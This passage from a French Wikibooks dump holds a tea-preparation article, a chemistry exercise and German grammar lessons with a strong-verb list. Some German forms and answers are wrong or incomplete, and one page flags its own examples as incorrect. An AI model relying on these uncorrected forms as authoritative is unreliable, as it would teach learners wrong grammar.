''qīng chá'' « thé bleu-vert ») ; le nom de ce type de thé vient de la couleur de la [[feuille (plante)|feuille]] et non de l'infusion. Ce sont des thés dits « semi-fermentés » car leur fermentation varie de 12 à 65%. Les feuilles sont souvent entières. * 『紅茶/红茶』 ''hóng chá'' (thé rouge) ; ils sont fermentés à 100% ; les feuilles utilisées peuvent être brisées pour les thés de moindre qualité. * 『黑茶』 ''hēi chá'' (thé noir) ; ce sont des thés entièrement fermentés ayant subi une post-fermentation de plusieurs années (à titre indicatif, l'auteur possède un 六堡茶 ''Liùbǎo chá'' de 1958), des thés de garde. Très coûteux, ils ne sont connus la plupart du temps des Occidentaux que par les versions dont la post-fermentation ne dépasse pas quelques jours, commercialisées par la [[Chine|République Populaire de Chine]]. Ces « copies » sont vendus en supermarchés sous les appellations de 普洱 ''Pǔ'ěr ''ou de 磚茶/砖茶 ''tuóchá''. * 『花茶』 ''huāchá'' (thé aux fleurs) ; ce n'est, à proprement parler, pas un type de thé, car le thé agrémenté de parfums de fleurs auxquelles il a été mêlé (ou, pour les thés médiocres et commerciaux, recouvert d'essence) peut être de couleurs diverses. Le thé au jasmin, 茉莉花茶 ''mòli huāchá'', dans ses versions les plus raffinées, peut être composé d'un thé blanc parfumé, aux saveurs très délicates. Les thés noirs parfumés aux fleurs sont les plus répandus, le plus souvent aussi les plus médiocres quand ils sont construits sur des poussières de feuilles auxquelles une essence quelconque a été rajoutée. Un bon thé parfumé doit l'être par le contact avec des fleurs fraîches, et non grâce à une essence. Les Chinois nomment ''thé rouge'' ce que nous connaissons sous le nom de ''thé noir''. D'autre part, le ''thé rouge'' vendu en [[Europe]] est généralement la dénomination illégale donnée à une plante différente du thé poussant en [[Afrique du Sud]], l'Aspalathus Linearis ou ''rooibos'', qui ne contient pas de théine et peu de tanin. ==Le conditionnement== À l'achat, le thé se présente sous plusieurs formes. La partie la plus noble est le dernier bourgeon, duveteux et argenté. Plus on s'en éloigne, moins le thé est fin ; de même, une feuille entière et non cassée produit un thé plus délicat, moins tannique. Certains termes décrivent la présentation des feuilles : * le bourgeon duveteux : 白毛 ''báimáo'' ou 白毫 ''báiháo'' (en [[cantonais]] ''baahk hòuh ''d'où ''pekoe'' en anglais dans les grades des thés indiens, comme F.O.P, ''Flowery Orange Pekoe'') ; il s'agit de la dernière [[feuille (plante)|feuille]] (le bourgeon proprement dit), la plupart du temps recouverte de duvet. Dans certains cas, les trois premières feuilles, bourgeon compris, sont utilisées. Autre dénomination : 芽兒/芽儿 ''yár'' ; * La feuille, 茶葉/茶叶 ''cháyè'', peut être travaillée (enroulée dans le sens de la longueur, torsadée, en spirale, entière ou brisée). Toutes ces factures n'ont pas nécessairement un nom bien précis ; * La feuille enroulée en perle : 珠種/珠种 ''zhūzhǒng'' (''cf.'' le 珠茶 ''zhūchá'','' ''connu en Occident sous le nom de ''Gunpowder'' ; ce thé, la principale exportation de thé chinoise, n'est pas destiné à être consommé nature. Il est principalement vendu aux [[Maghrèbe|Maghrébins]] pour leur préparation du thé à la menthe ou à l'absinthe) ; * Le thé compressé : c'est un conditionnement qui permet la conservation et le transport de thés ─ susceptibles de ne pas souffrir des contraintes que subit la feuille ─ vers des contrées difficiles d'accès (comme le Tibet). Ce sont des thés noirs pour la plupart, ou bien verts. En nid : 磚茶/砖茶 ''tuóchá'' ou ''zhuānchá'' ─ 磚/砖 se lit ''tuó ''et ''zhuān'' et signifie « brique » ─ ; en galette : 餅茶/饼茶 ''bìngchá'' (aussi connu sous le nom 七子 ''qīzǐ'', « sept pièces » car le thé en galette est souvent vendu par lots de sept ; en cube : 方茶 ''fāngchá'' ; en grande brique : 米磚茶/米砖茶 ''mǐzhuānchá '' (米 ''mǐ'' signifie « riz » car les feuilles de thé sont brisées en morceaux de la taille d'un grain de riz avant d'être agglutinés en brique) ; en boule : 摶茶/抟茶 ''tuánchá''... ==Les préparations== <small>Document externe à consulter : [http://www-rocq.inria.fr/syndex/iwl.html la page de Maître Tseng] ─ 曾毓慧 Céng Yùhuì ─, la seule femme parmi la dizaine de maîtres de thé dans le monde, résidant à Paris, où elle dirige la Maison des Trois Thés.</small> Le thé chinois se prépare de deux manières, selon sa couleur : aux thés fragiles, jaunes, blancs et verts, est réservée la préparation en 盅 ''zhōng'', aux thés plus vigoureux (du ''wūlóng'' au thé noir) celle dite 工夫茶 ''gōngfū chá''. Chacune possède ses particularités et les deux un point commun : le thé est toujours rincé rapidement à l'eau chaude, qui doit être pure (le mieux restant une eau de source faiblement minéralisée ou de l'eau filtrée ; l'eau du robinet, sauf rares exceptions, doit être évitée, surtout en ville), une première fois, afin de le débarrasser des impuretés et de préparer son hydratation. ===Préparation en 盅 ''zhōng''=== * Illustrations sur [http://www-rocq.inria.fr/syndex/iwldir/welcome2.html le site de Maître Tseng] : [http://www-rocq.inria.fr/syndex/iwldir/zg1.JPG le service à ''zhōng''] ; * thés concernés : 白茶 ''bái chá'', 黃茶 ''huáng chá'' et 綠茶/绿茶 ''lǜ chá.'' Le 盅 ''zhōng'' est une tasse sans anse munie d'un couvercle et d'une soucoupe. Son nom serait une déformation d'un verbe 盅 ''chōng'', « verser de l'eau, faire du thé, rincer », en référence à l'usage spécifique de cette tasse. Il semble que le terme précis pour désigner l'objet soit 蓋碗/盖碗 ''gàiwǎn'', soit « bol », 碗, « à couvercle », 蓋/盖, et que le terme 盅 ''zhōng'' désigne un autre type de tasse, plus haute, munie d'une anse et d'un couvercle, sans soucoupe, surtout utilisée à Canton. L'importance de Canton dans le commerce du thé explique la confusion qui a mené 盅 ''zhōng'' à remplacer 蓋碗/盖碗 ''gàiwǎn''. Quoi qu'il en soit, très peu de sources s'accordent, et, le terme de 盅 ''zhōng'' semblant le plus répandu, il est préférable de l'utiliser. L'utilisation d'un 盅 ''zhōng'' est simple : les feuilles (2g de thé) sont déposées dans la tasse, recouvertes d'eau froide (selon la fragilité du thé et la température à obtenir ; généralement un tiers de la tasse) puis d'eau chaude, qui ne doit pas dépasser, pour la majorité des thés que l'on prépare ainsi, 60 à 70° une fois mêlée à l'eau froide. En maintenant le couvercle, l'on jette rapidement cette première eau : le thé est rincé. Il suffit de recommencer l'opération mais sans jeter l'eau par la suite, le thé n'étant rincé qu'une seule fois. Le couvercle sert aussi à remuer les feuilles et refroidir l'infusion, qui peut durer plusieurs minutes, et l'on boit en l'inclinant tout en le maintenant sur la tasse, de manière à filtrer les feuilles (il est aussi possible de filtrer ainsi l'infusion et de la verser dans une autre tasse). L'on sent et l'infusion et le couvercle, sur lequel les parfums du thé se sont déposés et concentrés tandis que la vapeur condensée est retombée dans la tasse. L'on fait infuser les feuilles deux à trois fois, en jouant sur le temps d'infusion, qui est généralement plus court. La tasse se doit d'être blanche, de sorte que l'on puisse admirer la teinte de l'infusion. Il serait hors de question d'infuser dans une théière un thé fragile, qui cuirait ; le thé vert ainsi cuit possède une amertume, un goût d'herbe désagréables et son âcreté, lorsqu'il est mal préparé, est aux antipodes des saveurs qu'il recèle. ===Préparation 工夫茶 ''gōngfū chá''=== * Illustrations sur [http://www-rocq.inria.fr/syndex/iwl.html le site de Maître Tseng] : [http://www-rocq.inria.fr/syndex/iwldir/gf1.jpg un service à gōngfu chá] ; * thés concernés : 烏龍/乌龙 ''wūlóng'', 紅茶/红茶 ''hóng chá'' et 黑茶 ''hēi chá''. Il faut noter que la préparation en 工夫茶 ''gōngfū chá'' '''n'est pas une cérémonie''' mais une '''méthode''' : 工夫 '' gōngfū'' (autres orthographes : ''kung fu'' ou ''congou'' dans l'orthographe anglaise du nom de certains thés) désigne « l'art d'agir avec application », et cette préparation n'a que peu de points communs avec le 茶の湯 ''[[chanoyu]]'' ─ la cérémonie du thé japonaise ─ la notion de sacré et de communion sociale pouvant exister dans le 工夫茶'' gōngfu chá'', mais de manière concomitante, alors que ces principes sont fondamentaux dans le 茶の湯 ''chanoyu'', cérémonie [[zen]] (du [[sanskrit]] ''dhyāna'', « méditation » via le chinois 禪/禅 ''chán''). Le 工夫茶 ''gōngfū chá ''est simplement une méthode permettant d'obtenir le meilleur du thé, de même qu'en Occident les œnologues utilisent certains verres et un vin préparé par une ventilation suffisante, à la température voulue, pour déguster les grands crus. Le service complet, 茶具 ''chájù'', est difficile à obtenir en Occident. Peu de boutiques en proposent. L'élément fondamental en est la théière, 茶壺/茶壶 ''cháhú'', de 宜興/宜兴 [[yixing|Yíxìng]], capitale de la poterie chinoise, située dans le 江蘇/江苏 ''[[jiangsu|Jiāngsū]]'', faite dans une terre poreuse et riche en silice ─ 宜興砂/宜兴砂 ''Yíxìng shā'' « terre du Yíxìng » ─ qui retient très bien la chaleur et se charge rapidement des parfums du thé, qu'elle conserve (on dit qu'elle se « culotte »). Chaque thé demande donc sa propre théière afin d'éviter des mélanges de mauvais aloi. La théière en question existe en deux formats : la petite théière, de 20cl, sert principalement aux 烏龍/乌龙 ''wūlóng'', la grosse théière, de 40cl, aux 紅茶/红茶 ''hóng chá'' et aux 黑茶 ''hēi chá''. Ainsi que dans la préparation en 盅 ''zhōng'', le thé est rincé rapidement une première fois dans l'宜興壺/宜兴壶 ''Yíxìnghú'' et la première infusion est jetée. Le reste du 茶具 ''chájù ''se compose principalement des éléments suivants (consultez [http://www.chageikan.com/chajubtm.html cette page japonaise] pour des images du 茶具 ''chájù'') : * 煮水器 ''zhǔshuǐqì'' désigne la bouilloire contenant l'eau chaude, posée sur un réchaud à alcool ou à charbon pour maintenir la réserve d'eau à température. * 茶巾 ''chájīn'', tissu épais sur lequel l'on pose les ustensiles pour protéger la table tout aux long des opérations, souvent assez salissantes car l'eau et le thé passent leur temps à circuler de récipient en récipient. Il est aussi possible d'officier au-dessus d'un 茶盤 ''chápán'', plateau dont la partie supérieure est composée de lattes permettant à l'eau de s'écouler dans la partie inférieure faisant office de récipient ; * 茶則 ''cházé'', cuiller longue aux bords relevés servant à prendre le thé dans sa boîte ; * 茶罐 ''cháguàn'', simple boîte contenant le thé ; * 茶船 ''cháchuán'', le bateau à thé, jatte en terre dans laquelle repose la théière, que l'on peut ainsi entourer d'eau chaude afin de la maintenir à température pendant l'infusion. La théière baigne dans l'eau surtout pour les 烏龍(乌龙) ''wūlóng'' ; * 茶海 ''cháhǎi'', la cruche dans laquelle on verse le thé une fois infusé (parfois à travers un 茶漏 ''chálòu ─ ou ''濾網 ''lǜwǎng'' -, sorte de passoire à tamis très fin), de manière à vider le thé de la théière au moment idoine pour obtenir le temps d'infusion voulu (souvent très court) ; * 聞香杯 ''wénxiāngbēi'', tasse haute et étroite dans laquelle on verse un peu de thé pour le sentir, puis que l'on vide et hume de nouveau pour apprécier d'autres parfums ; le 聞香杯 ''wénxiāngbēi'' sert surtout aux 烏龍/乌龙 ''wūlóng'', qui laissent, une fois la tasse à parfums vide, de fortes senteurs de caramel et de sucre ; * 茶杯 ''chábēi'', petite tasse simple, généralement sans anse, qui reçoit le thé du 茶海 ''cháhǎi'' ; on boit le thé en trois gorgées ; * 茶盂 ''cháyú'' ─ ou 水盂 ''shuǐyú'' -, récipient servant à recevoir l'eau du 茶船 ''cháchuán'' une fois l'infusion achevée. C'est un pot faisant office de poubelle de table. * 茶匙 ''cháchí'', aiguille longue permettant de nettoyer la théière de ses feuilles à la fin du 工夫茶 ''gōngfu chá''. Le même thé peut ainsi être infusé plus d'une dizaine de fois, l'infusion, dont le temps va varier, donnant alors des senteurs différentes. En règle générale, l'on sait que le thé est infusé quand la goutte qui perle au bec de l'宜興壺/宜兴壶 ''Yíxìnghú'' est rentrée entièrement, ce qui reste un phénomène fascinant, le thé semblant se rétracter. Les premières infusions peuvent ne durer que quelques secondes, les dernières plus d'une heure pour certains 黑茶 ''hēi chá''. Aide:Comment modifier une page 2448 14041 2005-02-06T18:04:57Z DomQ 189 Redirection (au moins comme ça, le lien sur l'accueil de l'aide tombe en marche) #REDIRECT [[Wikilivres:Comment modifier une page]] Aide:Comment insérer une image 2449 14042 2005-02-06T18:49:44Z DomQ 189 Aide:Comment insérer une image déplacé vers Wikilivres:Comment insérer une image #REDIRECT [[Wikilivres:Comment insérer une image]] Aide:Syntaxe wikilivres 2450 14043 2005-02-06T18:53:55Z DomQ 189 Aide:Syntaxe wikilivres déplacé vers Wikilivres:Syntaxe #REDIRECT [[Wikilivres:Syntaxe]] Chimie organique Nomenclature 2452 14045 2005-02-07T08:51:33Z Antoinel 182 Chimie organique Nomenclature déplacé vers Chimie organique Alcanes Cycloalcanes Introduction #REDIRECT [[Chimie organique Alcanes Cycloalcanes Introduction]] Chimie organique Alcanes Cycloalcanes Introduction Test 2453 14046 2005-04-13T19:04:55Z 212.52.136.2 /* Fromule générale */ == Formule générale == Donnez le nombre de carbone des alcanes (linéaires) suivants : # C<sub>5</sub>H<sub>?</sub> : _______________ # C<sub>?</sub>H<sub>4</sub> : _______________ # C<sub>2</sub>H<sub>?</sub> : _______________ # C<sub>?</sub>H<sub>10</sub>: _______________ # C<sub>?</sub>H<sub>22</sub>: _______________ == Formule semi-développée== Donnez les formules semi-développées des alcanes suivants : # le 2-méthylpropane : ________________ # le 2,3-diméthylpentane : _______________ === Solutions === # C<sub>5</sub>H<sub>12</sub> # C<sub></sub>H<sub>4</sub> # C<sub>2</sub>H<sub>6</sub> # C<sub>4</sub>H<sub>10</sub> # C<sub>10</sub>H<sub>22</sub> <br /> #[[Image:2-methylpropane.gif]] <br /> Retour [[Chimie organique Alcanes Cycloalcanes Introduction]] Allemand Niveau 1 Leçon 5 2454 20015 2005-08-25T17:14:42Z 86.194.43.193 /* Grammaire : les pronoms personnels */ == Grammaire : les pronoms personnels == <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td>cas</td> <td>1ère pers</td> <td>2ème pers</td> <td colspan=3>3ème pers</td> <td>1ère</td> <td>2ème pers</td> <td colspan=2>3ème pers</td></tr> <tr align="center"><td>nominatif</td><td>ich</td><td>du</td><td>er</td><td>sie</td><td>es</td><td>wir</td><td>ihr</td><td>sie</td><td>Sie</td></tr> <tr align="center"> <td>accusatif</td><td>mich</td><td>dich</td><td>ihn</td><td>sie</td><td>es</td><td>uns</td><td>euch</td><td>sie</td><td>Sie</td></tr> <tr align="center"><td>datif</td><td>mir</td><td>dir</td><td>ihm</td><td>ihr</td><td>ihm</td><td>uns</td><td>euch</td><td>ihnen</td><td>Ihnen</td></tr> <tr align="center"><td>génitif</td><td>meiner</td><td>deiner</td><td>seiner</td><td>ihrer</td><td>seiner</td><td>unser</td><td>euer</td><td>ihner</td><td>Ihner</td></tr></table> <br />Le complément d'attribution (datif) doit précéder le complément d'objet (accusatif).Dans les phrases suivantes on représente en bleu le nominatif, en vert l'accusatif et en rouge le datif. *<font style="color: blue;">Der</font> Junge ißt <font style="color: green;">es</font>. ''Il le mange.'' *<font style="color: blue;">Der</font> Mann zeigt <font style="color: red;">ihm</font> <font style="color: green;">das</font> Mädchen. ''L'homme lui montre la fille.'' *<font style="color: blue;">Der</font> Mann zeigt <font style="color: red;">ihm</font> <font style="color: green;">sie</font>. ''L'homme la lui montre.'' *<font style="color: blue;">Das</font> Mädchen zeigt <font style="color: red;">Ihnen</font> <font style="color: green;">ihn</font>. ''La fille vous le montre.'' ''Cette phrases ne sont pas correcte. Voi discussion.'' --un allmand == Conjugaison : Prétérit== Le prétérit s'emploie pour un fait du passé qui est terminé. Il correspond en français à l'imparfait et au passé composé. === Prétérit des verbes faibles === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td>personnes</td><td>désinences</td><td>wohnen</td><td>lernen</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> -'''(e)te''' </td><td>ich wohn'''te'''</td><td>lern'''te'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''(e)test''' </td><td>du wohn'''test'''</td><td>lern'''test'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> -'''(e)te''' </td><td>er, sie, es wohn'''te'''</td><td>lern'''te</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''(e)ten''' </td><td>wir wohn'''ten'''</td><td>lern'''ten'''</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''(e)tet''' </td><td>ihr wohn'''tet'''</td><td>lern'''tet'''</td></tr> <tr align="center"> <td>3ème personne (plur.)</td><td> -'''(e)ten''' </td><td>sie, Sie wohn'''ten'''</td><td>lern'''ten'''</td></tr></table> <br /> On intercalle un -e- à toutes les personnes entre le radical de l'infinitif et les désinences du prétérit lorsque le radical se termine par un d ou un t (ou par tm, dm, chn). === Autres verbes === Lernen : apprendre, == Vocabulaire == kaufen = acheter<br />helfen (hilft; half)<br />sprechen (spricht; sprach) <br /> ---- Liens vers : [[Allemand Niveau 1 Leçon 4|Leçon 4]] / [[Enseignement de l'allemand : Niveau 1|Niveau 1]] / [[Allemand Niveau 1 Leçon 6|Leçon 6]] ---- Allemand Niveau 1 Leçon 4 2455 32128 2006-02-08T20:28:56Z 80.65.171.217 /* La famille */ == Grammaire : le datif == Le datif est le cas du complément d'objet indirect. <table border="1" style="background-color: #99CCFF"> <tr><td>article</td><td>masculin</td><td>féminin</td><td>neutre</td><td>pluriel</td></tr> <tr><td>indéfini</td><td>einem</td><td>einer</td><td>einem</td><td> </td></tr> <tr><td>défini<td>dem</td><td>der</td><td>dem</td><td>den</td></tr></table> Dans les phrases suivantes, le nominatif est en bleu, l'accusatif est en vert et le datif est en rouge. *<font style="color: blue;">Der</font> Junge gibt <font style="color: red;">dem</font> Madchen <font style="color: green;">einen</font> Kuchen . ''Le garçon donne un gâteau à la fille. * == Expression : l'heure == '''Wieviel Uhr ist es ?''' *Es ist zwei Uhr : ''Il est deux heures'' *Es ist fünf nach zwei : ''Il est deux heures cinq''; Es ist zwanzig nach zehn : ''Il est dix heures vingt'' *Es ist halb drei : ''Il est deux heures et demi'' *Es ist zwanzig vor drei : ''Il est trois heures moins vingt''; Es ist zehn vor vier : ''Il est quatre heures moins dix'' *Es ist viertel nach zwei : ''Il est deux heures et quart''; Es ist viertel vor fünf : il est cinq heures moins le quart'' === Les moments de la journée === am Morgen : ''le matin''<br />am Vormittag : ''dans la matinée''<br />am Mittag : ''à midi''<br />am Nachmittag : ''dans l'après-midi''<br />am Abend : ''le soir'' == Vocabulaire == === La famille === <table cellspacing="0" style="background-color: #99FF99" border=1> <tr><td>die Familie</td> <td>die Familien</td> <td>la famille</td></tr> <tr><td>der Vater</td> <td>die Väter</td> <td>le père</td></tr> <tr><td>die Mutter</td> <td>die Mütter</td> <td>la mère</td></tr> <tr><td> </td> <td>die Eltern</td> <td>les parents</td></tr> <tr><td>der Sohn</td> <td>die Söhne</td> <td>le fils</td></tr> <tr><td>die Tochter</td> <td>die Töchter</td> <td>la fille</td></tr> <tr><td>der Bruder</td> <td>die Brüder</td> <td>le frère</td></tr> <tr><td>die Schwester</td> <td>die Schwestern</td> <td>la soeur</td></tr> <tr><td> </td> <td>die Geschwister</td> <td>les frères et soeurs</td></tr> <tr><td>der Onkel</td> <td>die Onkel</td> <td>l'oncle</td></tr> <tr><td>die Tante</td> <td>die Tanten</td> <td>la tante</td></tr> <tr><td>der Vetter</td> <td>die Vettern</td> <td>le cousin</td></tr> <tr><td>die Kusine</td> <td>die Kusinen</td> <td>la cousine</td></tr> </table> == Application == [[Allemand Niveau 1 Leçon 4 Test|Test]] <br /> ---- Liens vers : [[Enseignement de l'allemand : Niveau 1|Niveau 1]] / [[Allemand Niveau 1 Leçon 5|Leçon 5]] ---- Allemand Niveau 1 Leçon 3 Test 2456 28401 2006-01-07T21:42:30Z Pierref 1012 restitution de la dernière modification de Marc == Conjugaison == Conjuguer les verbes forts suivants au présent : # geben (2ème personne du singulier) : __________ # finden (1ère personne du pluriel) : __________ # geben (3ème personne du pluriel) : __________ # heißen (2ème personne du singulier) : _________ # kommen (2ème personne du singulier) : _________ == Traduction == Traduisez le dialogue suivant :<br /> Bonjour. Comment vous appelez-vous ? _______________________<br />Je m'appelle Toni. _______________ <br />Et quel âge avez-vous ? __________________.<br />J'ai vingt ans. ___________. Et vous, où habitez-vous ? __________________<br />J'habite à Berlin. ____________________<br />Et où se trouve Berlin. _____________________<br />Berlin se trouve en Allemagne. <br /> *Traduisez les phrases suivantes : # Il attrape la balle (der Ball, masculin) : ____________ # Elle vient demain : _________ == Nominatif et accusatif == Transposez les noms suivants à l'accusatif : # der Vater (le père) : _________ # eine Frau : _________ # das Haus (la maison) : _________ # ein Hund (un chien) : _________ <br />Donnez la terminaison du nominatif, avec l'article défini puis indéfini : # ___, ___ Auto (neutre) # ___, ___ Straße (la rue, féminin) # ___, ___ Polizist (le policier, masculin) === Correction === ===== Conjugaison ===== # du gibst # wir finden # sie geben # du heißt # du kommst ==== Traduction ==== *Guten Tag. Wie heißen Sie ?<br />Ich heiße Toni. <br />Und wie alt Sie sind ?<br />Ich bin zwanzig Jahre alt.<br />Und Sie, wo wohnen Sie ?<br />Ich wohne in Berlin. <br />Und wo liegt Berlin.<br />Berlin liegt in Deutschland. <br /> * # Er fängt den Ball. # Sie kommt morgen. === Nominatif et accusatif === Transposez les noms suivants à l'accusatif : # den Vater # eine Frau # das Haus # einen Hund <br /> # das, ein # die, eine # der, ein <br /> Retour [[Allemand Niveau 1 Leçon 3|Leçon 3]]<br />[[Allemand Niveau 1 Leçon 4|Leçon 4]]<br />[[Enseignement de l'allemand : Niveau 1]] Allemand Verbes forts 2457 43904 2006-06-05T16:25:11Z 90.5.174.223 /* Essen (manger) */ __NOTOC__ * Le prétérit correspond soit à l'imparfait soit au passé simple de l'indicatif. La voyelle (et parfois le radical) d'un verbe fort change TOUJOURS au prétérit par rapport à l'infinitif. Il n'y a pas de marque de conjuguaison à la 1ère et à la 3e personne du singulier. * Le parfait correspond au passé composé. La voyelle peut changer ou non par rapport à l'infinitif. Le participe passé se termine en 'en'. === Anfangen (commencer) === Présent : ich fange an; du '''fäng'''st an; er, sie, es '''fäng'''t an; wir fangen an; ihr fangt an; sie, Sie fangen an <br />Prétérit : ich '''fing''' an; du '''fing'''st an; er, sie, sie '''fing''' an; wir '''fing'''en an; ihr '''fing'''t an; sie, Sie === Befehlen (ordonner) === Présent : ich befehle; du be'''fiehl'''st; er, sie, es be'''fiehl'''t; wir befehlen ...<br />Prétérit : ich be'''fahl'''; du be'''fahl'''st; er, sie, es be'''fahl'''; wir be'''fahl'''en ...<br />Parfait : ich habe be'''fohl'''en; du hast befohlen... === Beginnen=== Présent : ich beginne; du beginnst; er, sie, es beginnt; wir beginnen ...<br />Prétérit : ich be'''gann'''; du be'''gann'''st; er, sie, es be'''gann'''; wir be'''gann'''en ...<br />Passé composé : ich habe be'''gonn'''en; du hast be'''gonn'''en ... === Beißen (mordre) === Présent : ich beiße; du beißt; er, sie, es beißt; wir beißen, ihr beißt;, sie beißen... Prétérit : ich b'''iss'''; du b'''iss'''est; er b'''iss'''... Passé composé : er hat ge'''biss'''en... === Bekommen (recevoir) === ich bekomme; du bekommst; er, sie, es bekommt; wir bekommen ...<br />Prétérit : ich be'''kam'''; du be'''kam'''st; er, sie, es be'''kam'''; wir be'''kam'''en ...<br />Passé composé : ich habe bekommen; du hast bekommen ... === Bewegen (inciter) === Présent : ich bewege; du bewegst; er, sie, es bewegt; wir bewegen ...<br />Prétérit : ich be'''wog'''; du be'''wog'''st; er, sie, es be'''wog'''; wir be'''wog'''en ...<br />Passé composé : ich habe be'''wog'''en; du hast be'''wog'''en ... === Bieten (offrir) === Présent : ich biete; du bietest; er, sie, es bietet; wir bieten ...<br />Prétérit : ich '''bot'''; du '''bot'''est; er, sie, es '''bot'''; wir '''bot'''en ...<br />Passé composé : ich habe ge'''bot'''en; du hast ge'''bot'''en ... === Binden (lier) === Présent : ich binde; du bindest; er, sie, es bindet; wir binden...<br />Prétérit : ich '''band'''; du '''band'''(e)st; er, sie, es '''band'''; wir '''band'''en ...<br />Passé composé : ich habe ge'''bund'''en; du hast ge'''bund'''en ... === Bitten (demander de, prier de) === Présent : ich bitte; du bittest; er, sie, es bittet; wir bitten...<br />Prétérit : ich '''bat'''; du '''bat'''(e)st; er, sie, es '''bat'''; wir '''bat'''en ...<br />Passé composé : ich habe ge'''bet'''en; du hast ge'''be'''ten ... === Blasen (souffler) === Présent : ich blase; du bläst; er, sie, es bläst; wir blasen ...<br />Prétérit : ich '''blies'''; du '''blies'''est; er, sie, es '''blies'''; wir '''blies'''en ...<br />Passé composé : ich habe geblasen, du hast geblasen ... === Bleiben (rester) === Présent : ich bleibe; du bleibst; er, sie, es bleibt; wir bleiben ...<br />Prétérit : ich blieb; du bliebst; er, sie, es blieb; wir blieben ...<br />Passé composé : ich bin geblieben; du bist geblieben ... === Braten (rôtir) === Présent : ich brate; du '''brätst'''st; er, sie, es '''brät'''; wir braten ...<br />Prétérit : ich '''briet'''; du '''briet'''st; er, sie, es '''briet'''; wir '''briet'''en ...<br />Passé composé : ich habe gebraten; du hast gebraten ... === Brechen (casser, briser) === Présent : ich breche; du '''brich'''st; er, sie, es '''brich'''t; wir brachen ...<br />Prétérit : ich '''brach'''; du '''brach'''st; er, sie, es '''brach'''; wir '''brach'''en ...<br />Passé composé : ich habe ge'''broch'''en; du hast ge'''broch'''en ... === Brennen (brûler) verbe faible irrégulier=== Présent : ich brenne; du brennst; er, sie, es brennt; wir brennen ...<br />Prétérit : ich brannte; du branntest; er, sie, es brannte; wir brannten ...<br />Passé composé : ich habe gebrannt; du hast gebrannt ... === Bringen (apporter) verbe faible irrégulier=== Présent : ich bringe; du bringst; er, sie, es bringt; wir bringen ...<br />Prétérit : ich '''brach'''te; du '''brach'''test; er, sie, es '''brach'''te; wir '''brach'''ten ...<br />Passé composé : ich habe ge'''brach'''t; du hast ge'''brach'''t ... === Da sein (être là) === Présent : ich '''bin''' da; du '''bist''' da; er, sie, es '''ist''' da; wir '''sind''' da; ihr '''seid''' da; sie '''sind da'''<br />Prétérit : ich '''war''' da; du warst da; er, sie, es '''war''' da; wir '''waren''' da; ihr '''wart''' da; sie '''waren''' da<br />Passé composé : ich bin da ge'''wes'''en; du bist da ge'''wes'''en ... === Denken (penser) verbe faible irrégulier === Présent : ich denke; du denkst; er, sie, es denkt; wir denken ...<br />Prétérit : ich '''dach'''te; du '''dach'''test; er, sie, es '''dach'''te; wir '''dacht'''en ...<br />Passé composé : ich habe ge'''dach'''t; du hast ge'''dach'''t ... === Dringen (pénétrer) === Présent : ich dringe; du dringst; er, sie, es dringt; wir dringen ...<br />Prétérit : ich '''drang'''; du '''drang'''st; er, sie, es '''drang'''; wir '''drang'''en ...<br />Passé composé : ich bin ge'''drung'''en; du bist ge'''drung'''en ... === Empfehlen (recommander) === Présent : ich empfehle; du emp'''fiehl'''st; er, sie, es emp'''fielh'''t; wir empfehlen ...<br />Prétérit : ich emp'''fahl'''; du emp'''fahl'''st; er, sie, es emp'''fahl'''; wir emp'''fahl'''en ...<br />Passé composé : ich habe emp'''fohl'''en; du hast emp'''fohl'''en... === Entscheiden (décider) === Présent : ich entscheide; du entscheidest; er, sie, es entscheidet; wir entscheiden ...<br />Prétérit : ich ent'''schied'''; du ent'''schied'''est; er, sie, es ent'''schied'''; wir ent'''schied'''en ...<br />Passé composé : ich habe ent'''schied'''en; du hast ent'''schied'''en ... === Erklimmen (grimper) === Présent : ich erklimme; du erklimmst; er, sie, es erklimmt; mir erklimmen ...<br />Prétérit : ich er'''klomm'''; du er'''klomm'''st; er, sie, es er'''klomm'''; wir er'''klomm'''en ...<br />Passé composé : ich habe er'''klomm'''en; du hast er'''klomm'''en ... === Erschrecken (avoir peur, s'effrayer) === Présent : ich erschrecke; du er'''schrick'''st; er, sie, es er'''schrick'''t; wir erschrecken ...<br />Prétérit : ich er'''schrak'''; du er'''schrak'''st; er, sie, es er'''schrak'''; wir er'''schrock'''en ...<br />Passé composé : ich bin er'''schrocken'''; du bist'''schrock'''en... === Essen (manger) === Présent: ich esse, du '''i'''sst (avant la réforme de l'orthographe, du ißt, toléré), er '''i'''sst, wir essen, ihr esst, sie essen<br />Prétérit: ich '''aß''', du '''aßest''', er '''aß''', wir '''aß'''en...<br />Passé composé: ich habe ge'''ge'''ssen, du hast ge'''ge'''ssen... === Fahren (aller en voiture, conduire)=== Présent : ich fahre; du fährst; er, sie, es fährt; wir fahren ...<br />Prétérit : ich '''fuhr'''; du '''fuhr'''st; er, sie, es '''fuhr'''; wir '''fuhr'''en...<br />Passé composé : 1- rouler : ich bin gefahren; du bist gefahren ... 2- conduire : ich habe gefahren ... === Fallen (tomber) === Présent : ich falle; du '''fäll'''st; er, sie, es '''fäll'''t; wir fallen ...<br />Prétérit : ich '''fiel'''; du '''fiel'''st; er, sie, es '''fiel'''; wir '''fiel'''en...<br />Passé composé : ich bin gefallen; du bist gefallen ... === Fangen (attraper) === Présent : ich fange; du '''fängst'''st; er, sie, es '''fäng'''t; wir fangen ...<br />Prétérit : ich '''fing'''; du '''fing'''st; er, sie, es '''fing'''; wir '''fing'''en...<br />Passé composé : ich habe gefangen; du hast gefangen ... === Finden (trouver) === Présent : ich finde; du '''findest'''; er, sie, es '''find'''et; wir finden ...<br />Prétérit : ich '''fand'''; du '''fand'''est; er, sie, es '''fand'''; wir '''fand'''en...<br />Passé composé : ich habe gefunden; du hast gefunden ... === Fliegen (voler [avec des ailes])=== Présent : er fliegt<br /> Prétérit : er fl'''o'''g<br /> Passé composé : er ist gefl'''o'''gen === Fliehen (fuir) === Présent : er flieht<br /> Prétérit : er fl'''o'''h<br /> Parfait: er ist gefl'''o'''hen === Kennen (savoir) verbe faible irrégulier === Présent : ich kenne ; du kennst; er, sie, es kennt; wir kennen; ihr kennt; sie kennen<br /> Prétérit : ich '''kann'''te; du '''kann'''test ; er, sie, es '''kann'''te ; wir '''kann'''ten ; ihr '''kann'''tet ; 